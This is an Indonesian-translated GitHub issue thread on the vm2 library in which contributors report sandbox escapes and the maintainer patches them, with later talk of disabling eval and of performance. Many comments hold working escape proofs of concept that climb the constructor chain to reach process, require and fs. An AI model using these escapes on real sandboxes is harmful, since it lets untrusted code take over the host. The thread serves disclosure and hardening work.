Vm2: Melarikan diri dari kotak pasir vm

Dibuat pada 16 Jun 2016  ·  64Komentar  ·  Sumber: patriksimek/vm2

Dimungkinkan untuk keluar dari VM dan melakukan tindakan yang sangat tidak diinginkan.

Ditemukan melalui Intisari berikut sehubungan dengan VM asli simpul: https://Gist.github.com/domenic/d15dfd8f06ae5d1109b0

Ambil 2 contoh kode berikut:

const VM = require('vm2').VM;

const options = {
    sandbox: {}
};

const vm = new VM(options);

vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

dan :

const NodeVM = require('vm2').NodeVM;

const options = {
    console: 'off',
    sandbox: {},
    require: false,
    requireExternal: false,
    requireNative: [],
    requireRoot : "./"
};

const vm = new NodeVM(options);
vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

Menjalankan salah satu dari output berikut:

{ dev: 16777220,
  mode: 16877,
  nlink: 14,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 476,
  blocks: 0,
  atime: 2016-06-15T22:20:05.000Z,
  mtime: 2016-06-15T22:19:59.000Z,
  ctime: 2016-06-15T22:19:59.000Z,
  birthtime: 2016-06-09T01:02:12.000Z }

Saya telah memvalidasi perilaku ini pada v4.4.5 dan v6.2.1

discussion

Komentar yang paling membantu

Argh! Anda menangkap! ;) Saya harus minta maaf karena memimpin Anda seperti ini. Untuk setiap penonton di luar sana; masalah dengan lingkup VM di node.js adalah dengan referensi ke objek dalam lingkup host (dari mana Anda bisa mendapatkan referensi ke semua lingkup host melalui rantai prototipe).

Sekarang setelah Anda mengganti properti constructor , saya harus pergi ke bawahnya:

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

Semua 64 komentar

Terima kasih atas laporannya, saya sedang bekerja keras pada versi baru vm2 dan saya dapat memperbaiki kebocoran ini dengan membuat konteks di dalam konteks yang dibuat. Tidak yakin apakah ada cara lain untuk keluar dari kotak pasir, belum menemukannya.

const context = vm.createContext(vm.runInNewContext("({})"));

const whatIsThis = vm.runInContext(`
    const ForeignFunction = this.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`, context);

Mencoba memanjat tetapi sepertinya tidak mungkin karena ini true :

this.constructor.constructor('return Function(\\'return Function\\')')()() === this.constructor.constructor('return Function')()

Saya telah bermain-main dengan pendekatan yang Anda sebutkan di atas.

Tujuan pertama adalah mencoba dan mengadaptasi komentar Anda untuk memungkinkan saya meneruskan sesuatu ke kotak pasir, yang diperlukan untuk kasus penggunaan saya. Harap perbaiki saya jika ini cara yang salah untuk melakukan ini, tetapi sepertinya satu-satunya cara:

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {
        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

Keluaran:

Hello World Inside
Hello World Outside

Selanjutnya saya mencoba lagi untuk keluar dari VM dan berhasil:

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {

        const ForeignFunction = log.constructor.constructor;
        const process1 = ForeignFunction("return process")();
        const require1 = process1.mainModule.require;
        const console1 = require1("console");
        const fs1 = require1("fs");
        console1.log(fs1.statSync('.'));

        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

Keluaran mana:

{ dev: 16777220,
  mode: 16877,
  nlink: 16,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 544,
  blocks: 0,
  atime: Wed Jun 15 2016 17:04:25 GMT-0700 (PDT),
  mtime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  ctime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  birthtime: Wed Jun 08 2016 18:02:12 GMT-0700 (PDT) }
Hello World Inside
Hello World Outside

Sepertinya tidak ada cara untuk menyuntikkan sesuatu dengan aman ke dalam kotak pasir tanpa menggunakan benda itu untuk keluar dari kotak pasir.

Ada cara - objek perlu dikontekskan ke konteks VM. Ada dua cara bagaimana melakukannya. Anda dapat mengkloning objek tersebut secara mendalam atau Anda dapat menggunakan Proksi. Saya menggunakan Proksi di vm2 baru.

https://github.com/patriksimek/vm2/tree/v3

Saya telah mendorong rilis mendatang ke GH. Ini masih dalam proses tetapi harus berhasil.

v3 rusak juga:

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        'log' : console.log,
    },
});

vm.run(`
    try {
        log.__proto__ = null;
    }
    catch (e) {
        const foreignFunction = e.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const fs = require("fs");
        log(fs.statSync('.'));
    }
`);

Agak sia-sia memainkan game whack-a-mole ini.

@parasyte terima kasih, itu disebabkan oleh kesalahan ketik dalam kode saya. Sudah diperbaiki sekarang.

Jangan lupa untuk menangkap pengecualian.

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        boom() {
            throw new Error();
        },
    },
});

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        boom();
    }
    catch (e) {
        exploit(e);
    }
`);

@parasyte terima kasih, diperbaiki. Saya sangat menghargai kontribusi Anda.

+1

@patriksimek bagus!

Saya juga memiliki akses ke objek tertentu dalam lingkup global yang dapat saya manfaatkan untuk keluar dari kotak pasir kontekstual. Yang ini bahkan tidak perlu meneruskan objek apa pun ke VM.

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Reflect.construct = exploit;
    new Buffer([0]);
`);

@parasyte sheesh! Harus ada banyak vektor yang tersisa untuk ditemukan.

@keyosk Ya, mungkin...

BTW @patriksimek ES6 jauh lebih baik daripada coffeescript! 👍

@parasyte sekali lagi terima kasih, sudah diperbaiki bersama dengan beberapa pintu belakang lagi yang saya temukan.
@keyosk Saya percaya bahwa kita akan menemukan semuanya.

Bagaimana dengan yang ini?

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Object.assign = function (o) {
        return {
            'get' : function (t, k) {
                try {
                    t = o.get(t, k);
                    exploit(t);
                }
                catch (e) {}

                return t;
            },
        };
    };
    new Buffer([0]);
`);

@parasyte tangkapan yang bagus, perbaiki itu. Terima kasih.

Anda membuka kaleng cacing yang sama sekali baru di tambalan baru-baru ini.

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        new Buffer();
    }
    catch (e) {
        exploit(e);
    }
`);

Sial, saya bekerja terlalu larut dan kehilangan fokus. Menulis beberapa catatan keamanan , terutama untuk saya. :)

Terima kasih, diperbaiki.

Yah, saya bahkan belum memeriksa NodeVM sampai sekarang! Ada lebih banyak area permukaan untuk digosok, di sini...

Segera saya melihat pelarian melalui arguments.callee :

'use strict';

const {NodeVM} = require('vm2');

const vm = new NodeVM();

vm.run(`
    function getParent(o) {
        return o.constructor.constructor('return this')();
    }

    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log('\u{1F60E} ', fs.statSync('.'), '\u{1F60E}');

        return o;
    }

    (function () {
        exploit(getParent(getParent(arguments.callee.caller)));
    })();
`);

Nah, ini mengarahkan kita ke masalah awal di sini - konteks yang dibuat di dalam konteks baru tidak cukup, tentu saja. Versi pendek:

vm.run(`
    global.constructor.constructor('return this')().constructor.constructor('return process')()
`);

Belum menemukan solusi. Mungkin menambal Host dengan delete process.mainModule tapi saya yakin ada cara lain untuk naik ke require .

Menemukan solusi :-)

Argh! Anda menangkap! ;) Saya harus minta maaf karena memimpin Anda seperti ini. Untuk setiap penonton di luar sana; masalah dengan lingkup VM di node.js adalah dengan referensi ke objek dalam lingkup host (dari mana Anda bisa mendapatkan referensi ke semua lingkup host melalui rantai prototipe).

Sekarang setelah Anda mengganti properti constructor , saya harus pergi ke bawahnya:

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

Lakukan riset di sini dan perhatikan bahwa global.__proto__ === host.Object.prototype . Dengan menerapkan Object.setPrototypeOf(global, Object.prototype) saya bisa menutup cricle.

Terima kasih lagi.

@parasyte @patriksimek apakah ini ditutup pada versi terbaru yang diterbitkan npm?

Yap, kita bisa menutup ini untuk saat ini.

FWIW, kami menyelesaikan ini hanya dengan menonaktifkan eval ... dan sangat berhati-hati agar tidak memaparkan referensi ke kotak pasir.

#include <nan.h>

using v8::Local;
using v8::Context;

NAN_METHOD(enableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(true);

  info.GetReturnValue().SetUndefined();
}

NAN_METHOD(disableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(false);

  info.GetReturnValue().SetUndefined();
}

void Init(v8::Local<v8::Object> exports) {
  exports->Set(Nan::New("enableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(enableEval)->GetFunction());

  exports->Set(Nan::New("disableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(disableEval)->GetFunction());
}

NODE_MODULE(vm8, Init)

Ini mencegah pelarian karena string return process tidak dapat dievaluasi. Akibatnya, itu juga menonaktifkan panggilan eval() dan Function Generator Constructor yang sah. (Utilitas fitur ini agak dipertanyakan.)

@parasyte hanya untuk kejelasan apakah ini sesuatu yang Anda terapkan di tempat lain? Atau sesuatu yang berkontribusi pada vm2?

@keyscores ini diterapkan di tempat lain.

Ya, di tempat lain. Kami memiliki proyek kotak pasir serupa yang saat ini sedang menunggu izin untuk dirilis sumber terbuka. Maaf bila membingungkan. Saya berkomentar bagaimana masalah root diselesaikan dalam proyek itu.

@parasyte Adakah pembaruan rilis Anda? Akan tertarik untuk membandingkan implementasi. Saya pikir semua orang menang.

@keyscores Maaf, belum ada yang dilaporkan. Upaya open source mendapat prioritas karena beberapa perencanaan yang buruk dalam organisasi. :\

Saya tahu ini adalah masalah mati, tetapi apakah ada pintasan yang diketahui untuk pustaka vm Node saat menjalankan kode seperti ini:

javascript vm.runInNewContext("arbitrary user input here", Object.create(null))

@parasyte : Hanya ingin tahu, mengapa tidak menonaktifkan eval dengan menyuntikkan global.eval = null; ke bagian atas kode eksternal sebelum Anda menjalankannya?

@ Eric24 Pertanyaan bagus! Presentasi ini menjelaskan mengapa dalam beberapa detail: https://vimeo.com/191757364 dan inilah slide decknya: https://goo.gl/KxiG73

Poin terpenting adalah ada banyak cara untuk memanggil eval() dari JavaScript, dan mengganti global.eval hanyalah salah satunya. Pada saat Anda melewati seluruh daftar, Anda akan menyadari bahwa tidak mungkin untuk menambal evaluasi monyet dengan GeneratorFunction . Dan ini tidak termasuk banyak cara lain eval() dapat diekspos oleh perubahan ES di masa mendatang.

Jadi satu-satunya solusi yang layak adalah menonaktifkan evaluasi di V8 menggunakan C++.

@parasyte : Masuk akal (dan terima kasih atas presentasinya). Jadi, apakah kode C++ Anda menonaktifkan eval hanya di vm atau di "proses Host" juga?

@ Eric24 itu akan menonaktifkan eval dalam konteks di mana disableEval dipanggil. Anda akan ingin menyuntikkan ini ke awal kode userland yang disediakan yang akan dijalankan di vm. Selain itu Anda juga dapat menjalankan ini di Host Anda dan menonaktifkannya dalam konteks itu juga.

@parasyte : Mengerti. Terima kasih! Saya harus mengatakan bahwa solusi Anda adalah yang terbaik yang saya temukan setelah beberapa hari (selama beberapa minggu) meneliti topik ini.

@Anorov Ini dilaporkan hanya beberapa hari yang lalu: https://github.com/nodejs/node/issues/15673 Ini memungkinkan melarikan diri dari VM bahkan dengan prototipe nol di kotak pasir. Ini hanya masalah jika domain diaktifkan (ini bukan default, tetapi waspadalah terhadap penggunaan domain di semua hierarki ketergantungan Anda).

Inilah bukti konsep yang praktis. Diuji pada simpul v8.6.0:

// 'use strict';

const domain = require('domain');
const vm = require('vm');

const untrusted = `
const domain = Promise.resolve().domain;
const process = domain.constructor.constructor('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.readdirSync('/'))
`;

domain.create().enter(); // Entering a domain leaks the private context into VM

vm.runInNewContext(untrusted, Object.create(null));

Hati-hati dengan kebocoran seperti ini. Satu-satunya cara untuk aman dari kelas kerentanan ini adalah menonaktifkan eval. Dan lelah karena mungkin ada masalah lain dengan vm luar cakupan eval.

@parasit Terima kasih. Saya menjalankan kode ini dengan Node dari Python: https://github.com/Anorov/cloudflare-scrape/blob/master/cfscrape/__init__.py#L111

Tidak ada pustaka lain ( domain atau lainnya) yang diimpor atau digunakan. Apakah Anda melihat potensi masalah dengan kode ini? Saya ingin menghindari ketergantungan Javascript (seperti vm2) jika memungkinkan.

@Anorov Ah saya melihat. Apakah Anda khawatir CloudFlare (atau MITM) akan mencoba memberikan kode yang dapat keluar dari kotak pasir? Itu harus menjadi serangan yang ditargetkan, tetapi saya tidak akan mengesampingkannya sepenuhnya.

Benar. Seseorang juga bisa meniru halaman yang saya harapkan jadi
bahwa skrip saya mengira itu Cloudflare padahal bukan. Saya juga sedang mempertimbangkan
memeriksa apakah alamat IP server dimiliki oleh Cloudflare sebagai
pencegahan tambahan.

Tapi terlepas dari itu, anggap saja kode ini berjalan pada sembarang
masukan pengguna dan bukan hanya Cloudflare. Apakah mekanisme sandboxing aman?
yang terbaik dari pengetahuan komunitas Node?

Pada 2 Oktober 2017 22:10, "Jay Oster" [email protected] menulis:

@Anorov https://github.com/anorov Ah saya mengerti. Apakah Anda khawatir itu?
CloudFlare (atau MITM) akan mencoba memberikan kode yang dapat keluar dari
kotak pasir? Itu harus menjadi serangan yang ditargetkan, tetapi saya tidak akan mengesampingkannya
keluar seluruhnya.


Anda menerima ini karena Anda disebutkan.
Balas email ini secara langsung, lihat di GitHub
https://github.com/patriksimek/vm2/issues/32#issuecomment-333718695 , atau bisukan
benang
https://github.com/notifications/unsubscribe-auth/AA5FI1K1_aDCq6-RPOkCc1ak7gs9KFlvks5soZeZgaJpZM4I22m8
.

@Anorov :

Apakah mekanisme sandboxing aman, sejauh pengetahuan komunitas Node?

Sama sekali tidak. Dokumentasi resmi membuat catatan yang sangat kuat ini:

Catatan: Modul vm bukanlah mekanisme keamanan. Jangan menggunakannya untuk menjalankan kode yang tidak dipercaya.

Saya mengetahui peringatan itu, tetapi saya bertanya tentang kepraktisannya.

Pada 3 Oktober 2017 16:34, "Cody Massin" [email protected] menulis:

@Anorov https://github.com/anorov :

Apakah mekanisme sandboxing aman, untuk yang terbaik dari komunitas Node
pengetahuan?

Sama sekali tidak. Dokumentasi resmi
https://nodejs.org/api/vm.html#vm_vm_executing_javascript membuat ini
catatan yang sangat kuat:

Catatan: Modul vm bukanlah mekanisme keamanan. Jangan gunakan untuk berlari
kode yang tidak dipercaya.


Anda menerima ini karena Anda disebutkan.
Balas email ini secara langsung, lihat di GitHub
https://github.com/patriksimek/vm2/issues/32#issuecomment-333969953 , atau bisukan
benang
https://github.com/notifications/unsubscribe-auth/AA5FIwNwNErztUZB-adB4KrC5WoBYs4Nks5sopplgaJpZM4I22m8
.

Dalam praktiknya, mekanisme sandboxing tidak aman untuk kode yang tidak tepercaya. Itu sebabnya @patriksimek mencoba membuat mekanisme sandboxing yang aman dengan library vm2 . Itulah juga mengapa @parasyte telah melakukan pekerjaan untuk membuat perpustakaannya sendiri menggunakan pendekatan berbeda pada sandboxing kode yang tidak dipercaya.

@Anorov Singkatnya, jangan hanya mengandalkan vm . Tapi itu adalah alat yang berguna sebagai lapisan tunggal bawang.

Saya telah bermain-main dengan vm dan kode C++ yang disarankan untuk menonaktifkan eval dari @parasyte . Ini bekerja dengan baik, tetapi menggunakan vm secara umum datang dengan penalti kinerja yang cukup signifikan. Jadi kami mulai bereksperimen dengan _new Function(...)_. Saya menggunakan konstruksi ini:

const userfunc = new Function('context',
  '"use strict"; disableEval(); return ' + '(() => {...userland code here... return ...})();');

Ini juga berfungsi, dan jauh lebih cepat (lebih dari 1000 kali lebih cepat dalam beberapa kasus pengujian). Selain menonaktifkan eval, saya juga mencegah kode userland berisi referensi ke 'global' (tanpa tes ini, fungsi ini dapat mengubah lingkup global menggunakan global.whatever). Ini tampaknya menjadi kotak pasir yang efektif dan aman. Apa yang saya lewatkan?

Apakah strategi Anda menghentikan orang dari mengimpor ruang nama seperti fs dan secara drastis memodifikasi server Anda? Saya juga ingin tahu tentang penonaktifan eval, mengapa semua khawatir tentang eval dan bukan khawatir tentang kode di luar eval?

@wysisoft : Pertanyaan bagus. Ya, 'wajib' tidak diekspos. Setiap skrip, sebagai bagian dari meta-datanya, mendefinisikan daftar modul "diizinkan dan diverifikasi" yang dibutuhkannya, yang secara individual diekspos ke fungsi sebelum dijalankan. Secara khusus, 'fs' tidak akan ada dalam daftar yang disetujui itu (tetapi untuk skrip yang membutuhkan penyimpanan sementara, satu set fungsi baca/tulis terbatas disediakan).

Menonaktifkan 'eval' adalah kunci untuk menghentikan sejumlah eksploitasi (lihat komentar dari @parasyte pada 18NOV16). Mengizinkan 'eval' memungkinkan untuk mengakses lingkup global dengan cara yang tidak dapat dicegah. Detail lebih lanjut dalam komentar dari @parasyte pada 1OCT17).

@ Eric24 Saya tidak mengerti apa yang "lambat" tentang vm . Ini persis sama dengan runtime v8 yang mendukung nodeJS. Apakah Anda yakin tidak melakukan sesuatu yang konyol, seperti membuat ulang kotak pasir setiap kali Anda menjalankan kode? Ada beberapa overhead, tapi tidak 1000x lebih overhead.

@wysisoft eval() adalah metode yang mudah dijangkau untuk keluar dari kotak pasir. Menonaktifkannya akan menutup pintu keluar secara permanen melalui evaluasi kode dalam konteks pribadi . Tapi saya tegaskan lagi, ini bukan satu-satunya vektor serangan dan harus diwaspadai semuanya.

@parasyte - Saya memiliki tes yang sangat sederhana yang membuat Fungsi() dan VM dengan sedekat mungkin dengan kode yang sama untuk masing-masing, menjalankan keduanya 1000 kali, dan melaporkan total waktu yang diperlukan. Kode di bawah ini:

"use strict";

const util = require('util');
const vm = require('vm');
const uuid = require("uuid/v4");

console.log('TEST=' + global.test);
let response = {result: 0, body: null};

// create the Function()
let hrstart = process.hrtime();
const xform = new Function('y', 'response', 'uuid',
  '"use strict"; return ' + '(() => {global.test = "FUNC"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};})();'
);
let hrend = process.hrtime(hrstart);
console.log('new Function: ', hrend[0], hrend[1]/1000000, '\n');

// create/compile the Script()
hrstart = process.hrtime();
const script = new vm.Script(
  '"use strict"; ((global) => {' + 'global.test = "VM"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};' + '})(this);'
);
hrend = process.hrtime(hrstart);
console.log('new vm.Script: ', hrend[0], hrend[1]/1000000);

// create the VM context
hrstart = process.hrtime();
let ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
let context = new vm.createContext(ctx);
hrend = process.hrtime(hrstart);
console.log('new vm.createContext: ', hrend[0], hrend[1]/1000000, '\n');

// test 1000 iterations of Function()
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');

// test 1000 iterations of VM (with optional new context on each)
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  //ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};  // << THIS IS THE PROBLEM!
  //context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

Seperti yang Anda lihat dalam pengujian, saya membuat skrip dan konteksnya sekali, lalu menjalankannya 1000 kali. Namun, dalam kasus penggunaan target sebenarnya, saya perlu membuat ulang konteks setiap kali (berpotensi dapat men-cache skrip yang dikompilasi), karena setiap proses unik dan harus dimulai dengan konteks baru). Tanpa membuat ulang konteks setiap kali, perbedaan antara Function() dan VM adalah 6 hingga 14 kali.

Tetapi setelah melihat lebih dekat, saya mencoba variasi kode (membuat konteks setiap kali di dalam loop), yang lebih dekat dengan kasus penggunaan sebenarnya. Saya awalnya mengatur waktu pembuatan konteks satu kali hanya di bawah 1 ms, jadi saya memasukkannya berdasarkan per-iterasi. Tetapi menjalankan kode aktual menunjukkan pelakunya yang sebenarnya - sementara VM masih lebih lambat, masalahnya bukan membuat konteks, tetapi membuat objek 'ctx'. Itu cukup mengejutkan.

Tetapi membuat objek baru untuk konteks VM akan diperlukan setiap kali melalui (walaupun beberapa variasi itu juga akan diperlukan untuk Function(), jadi perbedaan antara keduanya kembali ke 6 hingga 14 kali (yang masih signifikan) .

Hmmm. Saya baru saja mencoba tes lain:

let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');


hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  // let context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

Di sini, objek 'ctx' dibuat ulang setiap kali, dalam kedua pengujian, tetapi konteksnya hanya dibuat sekali. Perbedaan waktu kembali ke kisaran 6 hingga 14. Tetapi jika saya menghapus komentar pada baris yang membuat ulang konteks setiap kali, hingga 144 kali lebih lambat!

@ Eric24 Anda melakukan apa yang saya katakan di posting saya sebelumnya. script.runInContext() adalah masalahnya. Ini secara efektif sama dengan memanggil eval() (dengan konteks v8 yang berbeda).

Solusi untuk memperbaiki masalah kinerja Anda adalah dengan memanggil runInContext sekali untuk mengkompilasi kode, dan berinteraksi dengan kode yang dikompilasi melalui referensi yang dikembalikan, atau referensi yang Anda berikan sebagai argumen input. Misalnya, meneruskan beberapa objek new Event() untuk komunikasi dua arah dengan kotak pasir. Inilah yang [masih sandbox internal kami, belum open-source karena alasan politik] vm wrapper kami, dan overhead benar-benar diabaikan.

@parasit :

Tidak. runInContext mengkompilasi kode. Pikirkan tentang itu. v8 adalah kompiler Just-In-Time . Itu harus mengeksekusi kode untuk mengkompilasinya.

@parasyte : OK, tapi dari node.js docs:
_Instances dari kelas vm.Script berisi skrip yang telah dikompilasi sebelumnya yang dapat dieksekusi di kotak pasir tertentu (atau "konteks")._

@ Eric24 Dokumentasinya agak membingungkan. Cuplikan kode terkait akan "dikompilasi" dalam arti yang sama seperti seorang juru bahasa mengkompilasi JavaScript ke dalam kode byte. JS mampu mengeksekusi melalui juru bahasa setelah objek Script telah dipakai, tetapi sebagian besar perolehan kinerja dari v8 berasal dari kompilasi representasi perantara yang ditafsirkan ini ke dalam kode mesin asli. Langkah terakhir tidak dimulai sampai runInContext dipanggil.

Pada kenyataannya, siklus hidup kompiler JIT lebih kompleks dari itu, karena kode harus dipanaskan sebelum JIT mempertimbangkannya untuk pengoptimalan. Ada banyak bahan bacaan di Internet jika Anda tertarik dengan detailnya.

Tetapi untuk memberi Anda beberapa data keras, inilah kode sumber yang relevan untuk runInContext : https://github.com/nodejs/node/blob/v8.7.0/lib/vm.js#L54 -L61

Referensi realRunInContext berasal dari modul C++ contextify . Yang dapat Anda temukan di sini: https://github.com/nodejs/node/blob/v8.7.0/src/node_contextify.cc#L660 -L719

Bagian terpenting dari kode C++ ini bisa dibilang adalah panggilan ke EvalMachine , yang mengikat kode yang dikompilasi ke konteks saat ini, dan memanggil script->Run() untuk memulai kompiler JIT. Yang tentu saja mulai mencari kode untuk dioptimalkan.

Semoga membantu!

@parasyte : Ya, itu membantu. Terima kasih!

Kami berjuang dengan satu implementasi menggunakan kotak pasir vm2. Bisakah kita memanggil kode async di dalam kotak pasir vm2? alasannya adalah, kita perlu terhubung ke sumber data seperti Mysql dari kotak pasir vm2?

Ya, Anda dapat menunggu async di dalam kotak pasir, masalah apa yang Anda alami?
Perlu diingat jika Anda menjalankan kode yang tidak tepercaya, Anda mungkin tidak mau
berikan akses sql penuh ke kotak pasir. Sebagai gantinya, Anda mungkin ingin menambahkan
getdata() metode ke kotak pasir Itu menjalankan kode di luar kotak pasir di mana
koneksi SQL yang sebenarnya terjadi.

Pada Selasa, 24 Okt 2017 pukul 06:49 Rajagopal Somasundaram <
[email protected]> menulis:

Kami berjuang dengan satu implementasi menggunakan kotak pasir vm2. Bisakah kita menelepon?
kode async di dalam kotak pasir vm2? alasannya adalah, kita perlu terhubung ke
sumber data seperti Mysql dari kotak pasir vm2?


Anda menerima ini karena Anda disebutkan.
Balas email ini secara langsung, lihat di GitHub
https://github.com/patriksimek/vm2/issues/32#issuecomment-338978717 , atau bisukan
benang
https://github.com/notifications/unsubscribe-auth/AOeY7Kir6Mm_k_P2ZhR3tdQzZQPknTNZks5svdz0gaJpZM4I22m8
.

@wysisoft Terima kasih atas jawabannya, Kami telah mengangkat masalah ini secara terpisah dengan detail https://github.com/patriksimek/vm2/issues/102. Juga konfigurasi akses SQL disediakan oleh pengguna itu sendiri dan skrip kotak pasir tidak akan mengakses DB aplikasi kami.

@Eric24 keberatan berbagi alternatif 'Fungsi baru ()'? Terlihat lebih bersih daripada VM

@platinumindustries : Pada akhirnya, saya sebenarnya tidak merekomendasikan alternatif "Fungsi baru ()". Kami akhirnya tetap menggunakan pendekatan VM, dan berfokus pada pengoptimalan kode itu. Apa yang kita miliki sekarang bekerja dengan sangat baik. Sejujurnya saya tidak dapat mengingat dengan tepat apa yang mendorong kami ke arah itu, tetapi saya tahu ada beberapa hal kecil yang pada akhirnya melewati pendekatan "Fungsi baru ()" dari daftar.

@ Eric24 Baiklah kalau begitu. Juga, dalam versi baru NodeJS 10.9* Mereka memiliki opsi untuk menonaktifkan eval() di vm. Jadi apakah itu cukup atau saya masih perlu menonaktifkannya dari C

Sangat menyesal telah melompat ke utas lama.

Namun, dalam kasus penggunaan target sebenarnya, saya perlu membuat ulang konteks setiap kali (berpotensi dapat men-cache skrip yang dikompilasi), karena setiap proses unik dan harus dimulai dengan konteks baru).

@ Eric24 Saya melihat bagaimana saya berpotensi menjalankan beberapa kode arbitrer menggunakan vm2 di dalam aplikasi server. Saya percaya kasus penggunaan saya mirip dengan yang Anda sebutkan karena saya sedang melihat bagaimana saya bisa meneruskan parameter/argumen dari permintaan yang masuk ke dalam kode yang berjalan di dalam vm.

Saat ini satu-satunya cara saya dapat melihat untuk melakukan ini adalah membuat konteks baru setiap kali tetapi ini sangat lambat. Saya mencoba mencari tahu apakah saya dapat menggunakan kembali satu objek konteks tetapi menggunakan beberapa mekanisme lain untuk menyediakan data ke kode yang berjalan di dalam VM. @parasyte menyebutkan sesuatu tentang komunikasi dua arah menggunakan objek Event() tetapi tidak sepenuhnya jelas bagi saya.

Saya ingin tahu apakah Anda mengalami masalah yang sama dan jika Anda mengalaminya, maukah Anda berbagi beberapa kiat tentang bagaimana Anda menyelesaikannya? Terima kasih atas waktunya.

@dahayes : Sebenarnya, saya membuat konteks baru untuk setiap proses, tetapi saya tidak merasa ini lambat sama sekali. Performa seperti apa yang Anda lihat vs. apa yang Anda harapkan? Dan bagaimana Anda mengukur kinerjanya?

Saya memutar proses nodejs baru untuk setiap proses, dan itu tidak terlalu buruk, penundaan kurang dari 100 ms.

Apakah halaman ini membantu?
0 / 5 - 0 peringkat